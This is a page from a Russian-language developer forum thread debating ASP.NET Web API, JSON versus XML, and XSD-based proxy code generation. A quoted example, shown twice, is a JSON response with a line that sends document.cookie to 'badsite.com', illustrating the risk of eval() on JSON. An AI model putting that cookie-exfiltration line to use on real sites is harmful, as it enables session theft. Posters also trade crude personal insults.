ReSQL.ru
     
powered by simpleCommunicator - 2.0.59     © 2026 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / ASP.NET [игнор отключен] [закрыт для гостей] / webApi кто заюзал в реальных проектах?
25 сообщений из 121, страница 3 из 5
  3  все
webApi кто заюзал в реальных проектах?
    #38281776
Фотография Яростный Меч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Яростный Меч
Участник
Dave JohnsonJSON может стать причиной проблем безопасности. Суть заметки сводится к тому, что если вы допускаете вставку вызовов функций наряду с данными в JSON-ответах и используете eval() для обработки ответа, то тем самым вы исполняете произвольный код, фактически, который уже может содержать угрозу безопасности.

Код: javascript
1.
2.
3.
4.
5.
 window.location = <font color="#069">"http://badsite.com?"</font> + document.cookie;
  person : { 
    <font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,
    <font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>
  }



Если ответ в примере выше будет выполнен, это вызовет отправку браузером пользовательских cookies на сторонний сайт.почти во всех браузерах есть JSON.parse, в нем парсится только чистый json, в котором нет ни функций, ни даже регексов

а вообще, сама проблема несколько надуманная, мы же eval-им данные со своего сайта.
...
Рейтинг: 0 / 0
31.05.2013, 16:29
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281785
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
Яростный Меча вообще, сама проблема несколько надуманная, мы же eval-им данные со своего сайта.
Ну я тоже так думал по поводу надуманности, пока не появились $.support.cors, screen scraping на YQL, flash прокси и JSONP.
...
Рейтинг: 0 / 0
31.05.2013, 16:35
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281806
Фотография James Bond FR
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
James Bond FR
Участник
SeVaКодеманки, если им студия ничего не сгенерит, то они ничего сделать не смогут. Муслима, а ты в курсе, что для своих проектов генерацией прокси никто не занимается? Уверен, что нет(см предыдущее утверждение). Мало того, wsdl прикрывают в целях безопасности
Последний раз писал в рукопашную прокси-классы лет так 5 назад, когда нужно было подцепиться к сервисам реализованным на Java :) Можно поинтересоваться в чем сокральное зло генерации прокси?
А wsdl прикрывают только в целях защиты от дурачка, что бы отбиться от хакеров-малолеток, но ни в коей мере закрытие wsdl не может быть основным средством защиты приложения.
...
Рейтинг: 0 / 0
31.05.2013, 16:52
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281808
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
МСУWeb API - это бывший WCF Web API. Просто его решили вынести в отдельный проект. Легковестность и RESTful - вот его основная задача. Использовать его для корпоративного SOA неудобно, одно отсутствие кодогенерации прокси сервисом и классов - жирный гвоздь в Web API.

вот вот. а знаешь зачем нужна эта кодогенерация? потому что оверхед такой, что мама дорогая. вручную писать — самоубийство.
посему — какашка она и есть. по большей части оправдывание бессмысленной «безопасности», некоторые недалекие кодеры думают, что чем больше кода, интерфейсов и слоёв, тем конструкция безопасней. расскажи эти байки своему шефу, побольше лапши и неудобоваримых, но крутых терминов на его наивные уши.

пасс на тему «безопасности» XML: как-то прикручивали синхронизацию по CommerceML 2.05 так вот, отдаваемый XML самой последней версии 1С не проходит валидацию своей же схемы . И знаете что саппарт отвечает? Отключите проверку , парсите так... так что в топку. Лишнее ненужное усложнение. Валидность по XSD совершенно не отменяет необходимость проверять полученные данные, в итоге — двойная никому не нужная работа. Какой-то опофеоз обсурда, в котором отдельное старичьё варится и ловит свой извращенный кайф. А слово «корпоративное» вообще убивает напрочь. SOA, WSDL нужны для поддержки старперского говнища. Например приходилось к этому возвращаться, для интеграции с SAP R/3 — прямым наследнием фюрера.

В гетерогенных системах нужны простые, легкие, легковесные стандарты. Каким и является WebAPI.
...
Рейтинг: 0 / 0
31.05.2013, 16:53
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281815
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
МСУЯростный Меча вообще, сама проблема несколько надуманная, мы же eval-им данные со своего сайта.
Ну я тоже так думал по поводу надуманности, пока не появились $.support.cors, screen scraping на YQL, flash прокси и JSONP.

делай по уму и не будет проблем. а JSONP легко защищается. одной строчкой кода.
...
Рейтинг: 0 / 0
31.05.2013, 16:55
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281821
Фотография Яростный Меч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Яростный Меч
Участник
hVosttа JSONP легко защищается. одной строчкой кода.интересно как
...
Рейтинг: 0 / 0
31.05.2013, 16:57
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281823
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
Яростный Меч,

к примеру http://habrahabr.ru/post/168461/
...
Рейтинг: 0 / 0
31.05.2013, 16:59
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281844
SeVa
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
SeVa
Участник
МСУSeVaИ чем же это xml более безопасен, а json так опасен? Очередной бред?!

Очередная тема, в который ты ничерта не соображаешь.
 
...Dave JohnsonJSON может стать причиной проблем безопасности. Суть заметки сводится к тому, что если вы допускаете вставку вызовов функций наряду с данными в JSON-ответах и используете eval() для обработки ответа, то тем самым вы исполняете произвольный код, фактически, который уже может содержать угрозу безопасности.

Код: javascript
1.
2.
3.
4.
5.
 window.location = <font color="#069">"http://badsite.com?"</font> + document.cookie;
  person : { 
    <font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,
    <font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>
  }


Если ответ в примере выше будет выполнен, это вызовет отправку браузером пользовательских cookies на сторонний сайт.


SeVaКодеманки, если им студия ничего не сгенерит, то они ничего сделать не смогут. Муслима, а ты в курсе, что для своих проектов генерацией прокси никто не занимается? Уверен, что нет(см предыдущее утверждение). Мало того, wsdl прикрывают в целях безопасности
Долбосева, генерация прокси удобна не только не для своих. В крупных компаниях ведутся различные солюшены и прокидывать свои модели в отдельном солюшене никто не будет. Поэтому, опять мимо. Про wsdl поржал. Какая безопасность, акстись.

Муслима, если бы ты работал в крупных компаниях, а в не подвале в одиночестве, то ты подобную хрень здесь не изображал.
Первое - киськин бред.
Второе - еще одно подтверждение твоей никчемности. Зачем нужны прокси с одним мусором, когда уже все и так есть на руках?
А твой убогий xml используют только ламеры, тк это им генерит vs, а сами они не знают, что более пухлого формата просто нет.
...
Рейтинг: 0 / 0
31.05.2013, 17:19
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281850
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
hVosttвот вот. а знаешь зачем нужна эта кодогенерация? потому что оверхед такой, что мама дорогая. вручную писать — самоубийство.
посему — какашка она и есть.
Есть xml чуть больше 10Мб. Задача: обработать его и наполнить некий экземпляр класса T для дальнейших теходвижений.
Что я делаю. Автогенерю схему, автогенерю T класс. Беру XmlSerializer и десериализирую в сгенеренный класс T. Время: 30 секунд.
Что ты предлагаешь делать в случае с JSON, лапочка?

P.S. Вот тебе реальный класс на 3.5 тыс строк кода, используется для реальной сложной интеграции двух систем. Я его автоматически сгенерил за секунду. Сколько лет ты будешь писать аналог на JSON?
...
Рейтинг: 0 / 0
31.05.2013, 17:22
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281854
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
SeVaМуслима, если бы ты работал в крупных компаниях, а в не подвале в одиночестве, то ты подобную хрень здесь не изображал.
Долбосева, если бы ты имел хоть грамм мозгов, ты бы такие глупые вопросы не задавал.

SeVaПервое - киськин бред.
Аргументами убил наповал. Как обычно, вообщем.

SeVaВторое - еще одно подтверждение твоей никчемности. Зачем нужны прокси с одним мусором, когда уже все и так есть на руках?
А твой убогий xml используют только ламеры, тк это им генерит vs, а сами они не знают, что более пухлого формата просто нет.
Тупая кодеманка, выше привел пример с xsd.
...
Рейтинг: 0 / 0
31.05.2013, 17:23
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281857
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
hVosttМСУпропущено...

Ну я тоже так думал по поводу надуманности, пока не появились $.support.cors, screen scraping на YQL, flash прокси и JSONP.

делай по уму и не будет проблем. а JSONP легко защищается. одной строчкой кода.
Не убедительный ответ.
...
Рейтинг: 0 / 0
31.05.2013, 17:25
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281878
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
Схватился за живот. Вот тут долбосева отжигает 14377177
...
Рейтинг: 0 / 0
31.05.2013, 17:37
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281879
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
МСУ,

Открой уже для себя наконец http://james.newtonking.com/projects/json-net.aspx

А с XML уже давно приятней работать через XML to LINQ.

Если XML 10 Мб и больше, уже пора задуматься, правильный ли транспорт выбран? Для транспорта огромных массивов данных XML — плохая, отвратительная идея. Как в прочем и JSON. Бинарный формат. Для порций тот же SQLite контейнер аще сказка.
...
Рейтинг: 0 / 0
31.05.2013, 17:37
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281890
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
Код: c#
1.
Product deserializedProduct = JsonConvert.DeserializeObject<Product>(json);



одна строчка кода. как сложно-то.
...
Рейтинг: 0 / 0
31.05.2013, 17:43
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281893
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
hVosttМСУ, Открой уже для себя наконец http://james.newtonking.com/projects/json-net.aspx

1. Ты к чему это ляпнул? Тем более в дотнете есть родной DataContractJsonSerializer. RTFM.
2. Ты меня опять не понял. Ты через json-конвертер конвертерируешь json строку или файл в модель. А модель у тебя откуда? Самому писать? Я ж тебе привел модель на 3.5K строк кода. А тебе придется ее писать руками.

hVosttА с XML уже давно приятней работать через XML to LINQ.
С XML приятно работать и с LINQ тоже.

hVosttЕсли XML 10 Мб и больше, уже пора задуматься, правильный ли транспорт выбран?
Правильный. 10Мб у меня трансформируются в экземпляр через сериализатор за 0.5 сек и через SqlBulkCopy уходит в таблтцу БД. На всё про всё - 1 секунда.

hVosttДля транспорта огромных массивов данных XML — плохая, отвратительная идея. Как в прочем и JSON. Бинарный формат. Для порций тот же SQLite контейнер аще сказка.
Огромных - да. 10Мб - это не огромный размер.
...
Рейтинг: 0 / 0
31.05.2013, 17:45
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281896
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
hVostt
Код: c#
1.
Product deserializedProduct = JsonConvert.DeserializeObject<Product>(json);



одна строчка кода. как сложно-то.

Жжёшь Как же с тобой трудно...
...
Рейтинг: 0 / 0
31.05.2013, 17:45
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281902
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
hVostt, вот тебе базы данных фиаса (альтернатива кладра): http://fias.nalog.ru/Public/DownloadPage.aspx
Месячные дельты данных ~20Мб (архив по ~1 мегабайту). И всё отлично.
Интегрироваться с таким сервисом проще пареной репы. Вот у них схема на 16 метров: http://fias.nalog.ru/Public/Docs/Выгрузка из ФИАС в XML xsd схемы.zip
Кодогенерируем классы и всё готово. Никакого ручного кодирования по трансформации данных.

С случае же JSON ты бы упоролся изучать этот бред и писать руками модели.
...
Рейтинг: 0 / 0
31.05.2013, 17:50
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281903
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
МСУ,

то, что даёт на выходе xds.exe — жалкое зрелище.

1. нет поддержки Nullable — вместо этого XXXSpecified — ппц
2. коллекции с разными типами у нас тупо object[]
3. автопроперти нетю... реализация xsd2code вообще тупит

короче отстой.

если ты незнаешь с какой моделью ты работаешь, что ж за код ты пишешь тогда?

в случае с JSON, если можно через 10 секунд уже работать с dynamic в чем вопрос?

нагенерить классов? я смотрю ты просто тащишься от кодогерации
может ты как программист и не нужен вовсе? нужен большой кодогенератор, создающий программу по ТЗ заказчика автоматически.
...
Рейтинг: 0 / 0
31.05.2013, 17:51
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281907
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
МСУhVostt, вот тебе базы данных фиаса (альтернатива кладра): http://fias.nalog.ru/Public/DownloadPage.aspx
Месячные дельты данных ~20Мб (архив по ~1 мегабайту). И всё отлично.
Интегрироваться с таким сервисом проще пареной репы. Вот у них схема на 16 метров: http://fias.nalog.ru/Public/Docs/Выгрузка из ФИАС в XML xsd схемы.zip
Кодогенерируем классы и всё готово. Никакого ручного кодирования по трансформации данных.

С случае же JSON ты бы упоролся изучать этот бред и писать руками модели.

в любом случае придется изучать, что там внутри. с кодогенерацией или без.
с фиас уже давно работаю, кстати, обошёлся без их схемы для генерации кода.
беру то, что нужно без всяких проблем. тоже самое было бы, если б они отдавали JSON, но объёмы были бы существенно меньше. на порядок я бы сказал.
...
Рейтинг: 0 / 0
31.05.2013, 17:53
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281914
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
hVosttМСУ, то, что даёт на выходе xds.exe — жалкое зрелище.
Если не осилил, то да.

hVostt1. нет поддержки Nullable — вместо этого XXXSpecified — ппц
Садись, два.
Код: xml
1.
<xs:element name="Port" type="xs:int" nillable="true" />


Код: c#
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
private System.Nullable<int> portField;
[System.Xml.Serialization.XmlElementAttribute(IsNullable = true)]
public System.Nullable<int> Port {
    get {
        return this.portField;
    }
    set {
        this.portField = value;
    }
}




hVostt2. коллекции с разными типами у нас тупо object[]
И это правильно. Умей проектировать xsd схемы. Гадать на кофейной гуще никто не будет.

hVostt3. автопроперти нетю... реализация xsd2code вообще тупит
Фиолетово на автосвойства. Мне время дороже, сгенерил и забыл.

hVosttкороче отстой.
Альтернатива? Писать руками класс в 3.5K кода для JSON?

hVosttесли ты незнаешь с какой моделью ты работаешь, что ж за код ты пишешь тогда?
Выйди из сумрака. Я знаю с какой моделью нужно работать, вопрос в том, кто и закое время мне ее напишет. Видел сайт фиаса? За сколько месяцев ты напишешь классы? Я их сгенерю по схеме за 3 секунды.

hVosttв случае с JSON, если можно через 10 секунд уже работать с dynamic в чем вопрос?
Я плакал... Динамическое ковыряние в нетипизированной модели - уволить без выплаты заработной платы.

hVosttнагенерить классов? я смотрю ты просто тащишься от кодогерации
может ты как программист и не нужен вовсе? нужен большой кодогенератор, создающий программу по ТЗ заказчика автоматически.
Ты просто начинающий ламер :)
...
Рейтинг: 0 / 0
31.05.2013, 17:58
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281916
Фотография МСУ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
МСУ
Участник
hVosttв любом случае придется изучать, что там внутри. с кодогенерацией или без.
Изучать != писать

hVosttс фиас уже давно работаю, кстати, обошёлся без их схемы для генерации кода.
беру то, что нужно без всяких проблем. тоже самое было бы, если б они отдавали JSON, но объёмы были бы существенно меньше. на порядок я бы сказал.
Вот тут подробнее, выделил красным. Покажи кодом, как ты работаешь? :)
...
Рейтинг: 0 / 0
31.05.2013, 18:00
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281921
Фотография skyANA
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
skyANA
Участник
Что-то не пойму как связан WebAPI и ФИАС. Парни, о чём срач?
...
Рейтинг: 0 / 0
31.05.2013, 18:05
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281923
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
МСУhVostt1. нет поддержки Nullable — вместо этого XXXSpecified — ппц
Садись, два.
Код: xml
1.
<xs:element name="Port" type="xs:int" nillable="true" />




Ну и кто это для тебя делать будет? ФИАС не стали.

МСУhVosttкороче отстой.
Альтернатива? Писать руками класс в 3.5K кода для JSON?


Пиши для того, что тебе нужно. Зачем тебе ВСЁ?
Всё равно тебе с этими классами надо будет работать по определенному
алгоритму. Для решений «наскоряк» dynamic на порядок быстрее чем квест
с генерацией.

МСУhVosttесли ты незнаешь с какой моделью ты работаешь, что ж за код ты пишешь тогда?
Выйди из сумрака. Я знаю с какой моделью нужно работать, вопрос в том, кто и закое время мне ее напишет. Видел сайт фиаса? За сколько месяцев ты напишешь классы? Я их сгенерю по схеме за 3 секунды.


Я буду брать только то, что мне нужно.
Если я не знаю, то и не работаю с этим, и вообще теряется весь смысл.

МСУhVosttв случае с JSON, если можно через 10 секунд уже работать с dynamic в чем вопрос?
Я плакал... Динамическое ковыряние в нетипизированной модели - уволить без выплаты заработной платы.


Зато это работает. И сразу. Если тебе приставили дуло к виску и засекли 30 секунд, я посмотрю как ты побежишь заниматься кодогенерации. В других случаях действует правило проектирование, которое гласит: «ЗНАЙ М.. Т..Ю с чем ты работаешь!»
...
Рейтинг: 0 / 0
31.05.2013, 18:08
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281927
Фотография hVostt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
hVostt
Участник
МСУhVosttс фиас уже давно работаю, кстати, обошёлся без их схемы для генерации кода.
беру то, что нужно без всяких проблем. тоже самое было бы, если б они отдавали JSON, но объёмы были бы существенно меньше. на порядок я бы сказал.
Вот тут подробнее, выделил красным. Покажи кодом, как ты работаешь? :)

Суть такая: данные напрямую заливаются в БД из XML, те что нужны.
Генерить для одной единственной операции, где мы тупо переносим данные из XML — глупо.
...
Рейтинг: 0 / 0
31.05.2013, 18:14
| Ответить | Цитировать | Написать  
webApi кто заюзал в реальных проектах?
    #38281937
Фотография a_titeev
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
a_titeev
Участник
skyANAЧто-то не пойму как связан WebAPI и ФИАС. Парни, о чём срач? да уж...

тема потеряна? говорили о выборе платформы для реализации rest api!!! не более. ))
...
Рейтинг: 0 / 0
31.05.2013, 18:24
| Ответить | Цитировать | Написать  
25 сообщений из 121, страница 3 из 5
  3  все
Форумы / ASP.NET [игнор отключен] [закрыт для гостей] / webApi кто заюзал в реальных проектах?
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]